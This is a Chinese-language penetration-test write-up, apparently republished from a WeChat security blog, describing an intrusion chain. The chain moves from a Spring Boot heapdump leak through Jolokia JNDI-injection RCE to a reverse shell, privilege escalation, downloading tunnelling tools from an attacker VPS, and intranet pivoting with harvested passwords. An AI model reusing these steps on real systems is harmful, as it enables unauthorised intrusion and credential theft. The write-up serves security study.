渗透实战|记一次RCE+heapdump信息泄露引发的血案

admin 2023年3月30日13:44:13评论203 views字数 1985阅读6分37秒阅读模式

1.思路

目前该漏洞已完全修复,这里做一个复盘,总结下整体利用过程

heapdump信息泄露-弱口令-RCE-数据库-后台弱口令-内网系统弱口令-敏感信息挖掘

2.Heapdump信息泄露

Springboot搭建的系统,首先访问Actuator模块,看有哪些端点暴露,最常见的就是env、info、metrics等等,最喜人乐见的就是heapdump、gateway、jolokia等,前者可能导致轻微信息泄露、而后者可能导致敏感信息泄露乃至RCE进内网。

这里需要注意的是,访问Springboot的系统,有时候URL后边直接加actuator提示404并不代表端点没有暴露,可能是文件目录导致的,就比如这次渗透的目标站点就是如此:https://target.com:8090/xxx/actuator/

访问actuator,查看暴露的端点,发现heapdump文件,直接下载下来打开即可。这里打开heapdump转储文件,打开heapdump的方式有多种,MAT、JDumpSpider-1.0-SNAPSHOT-full.jar、heapdump_tool.jar等等,GitHub也有其它的打开工具,往往一种工具查出来的信息不完整,比如直接用JDumpSpider-1.0-SNAPSHOT-full.jar跑出来的结果可能不全,但是跑出的结果很清晰、heapdump_tool.jar跑出来的结果更全一些,但是结果展示不是很清晰。建议都跑一遍,确保收集信息的广度,这个后边会继续提到

渗透实战|记一次RCE+heapdump信息泄露引发的血案

使用JDumpSpider只跑出来了本地数据库账号口令(为后边拿下内网数据库做了铺垫)

继续用heapdump_tool.jar在跑一下

渗透实战|记一次RCE+heapdump信息泄露引发的血案

等数据加载完之后,输入关键字进行关键字查询:password、geturl、getfile等,直接输入password搜索password字样

渗透实战|记一次RCE+heapdump信息泄露引发的血案
渗透实战|记一次RCE+heapdump信息泄露引发的血案
渗透实战|记一次RCE+heapdump信息泄露引发的血案
渗透实战|记一次RCE+heapdump信息泄露引发的血案

将收集到的密码做成字典,后期可以做爆破口令用,成功登陆外网druid

3.jolokia命令执行(CVE-2018-1000130)

目标不止有heapdump、还有jolokia端点,jolokia存在RCE漏洞,但是有利用条件(目标JDK版本、是否存在端点以及引用了jolokia-core依赖等):直接访问/jolokia/list查看有无type=MBeanFactory 和 createJNDIRealm参数可判断是否可能RCE,jolokia/list下存在这两个参数,尝试进行jndi注入(GitHub有诸多jndi工具以及利用详情)

渗透实战|记一次RCE+heapdump信息泄露引发的血案

目标有接收请求,貌似也请求了VPS上的class文件,但是反弹shell没反应。大概率是目标主机jdk版本过高导致反弹shell失败,尝试进行高版本jdk进行jndi注入。

提取准备好base64编码之后的反弹shell语句

启动jndi工具

渗透实战|记一次RCE+heapdump信息泄露引发的血案

这里使用py工具发送payload:

https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py

py文件url以及payload修改成jndi工具生成的恶意payload,运行py

渗透实战|记一次RCE+heapdump信息泄露引发的血案

反弹shell成功,反弹回来的shell很多命令没法用,目标主机存在python环境,使用ptyshell实现简单的tty

python -c 'import pty; pty.spawn("/bin/bash")'
渗透实战|记一次RCE+heapdump信息泄露引发的血案

目标主机ubuntu,sudo su切换到root用户

4.登陆数据库

heapdump泄露的数据库账号密码尝试登陆数据库

渗透实战|记一次RCE+heapdump信息泄露引发的血案

查找用户名口令:

渗透实战|记一次RCE+heapdump信息泄露引发的血案

MD5加密的管理员密码,尝试解密:

渗透实战|记一次RCE+heapdump信息泄露引发的血案

由于heapdump在管理系统目录下:xxx/actuator/heapdump,猜测密码大概率是后台管理系统密码

口令登陆成功:涉及信息过于敏感,暂时不放图了

5.NPC落地进内网

VPS开启python服务,目标主机cd到tmp目录下:

curl -O http://xxx:8888/kscan

将kscan与npc端下载到目标主机tmp目录下

渗透实战|记一次RCE+heapdump信息泄露引发的血案

运行NPC端:

渗透实战|记一次RCE+heapdump信息泄露引发的血案

主机成功上线:

渗透实战|记一次RCE+heapdump信息泄露引发的血案

proxifier设置socks5代理尝试连接:

渗透实战|记一次RCE+heapdump信息泄露引发的血案

proxifier添加firefox规则后,根据kscan扫描出的结果尝试访问web服务:

渗透实战|记一次RCE+heapdump信息泄露引发的血案

弱口令*1

渗透实战|记一次RCE+heapdump信息泄露引发的血案
渗透实战|记一次RCE+heapdump信息泄露引发的血案

尝试使用数据库中存储的密码挨个进行登陆~

6.敏感信息泄露

查找系统中propertie配置文件,获取多个appkey和secret信息

渗透实战|记一次RCE+heapdump信息泄露引发的血案

较为敏感的信息就不在放出了

主要高版本jdk的jndi注入以及信息收集(收集密码做字典定向爆破)的结果,才使得进入内网之后可以拿下多个后台管理系统,从而获取大量敏感信息。

原文始发于微信公众号(藏剑安全):渗透实战|记一次RCE+heapdump信息泄露引发的血案

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月30日13:44:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透实战|记一次RCE+heapdump信息泄露引发的血案https://cn-sec.com/archives/1639434.html

发表评论

匿名网友 填写信息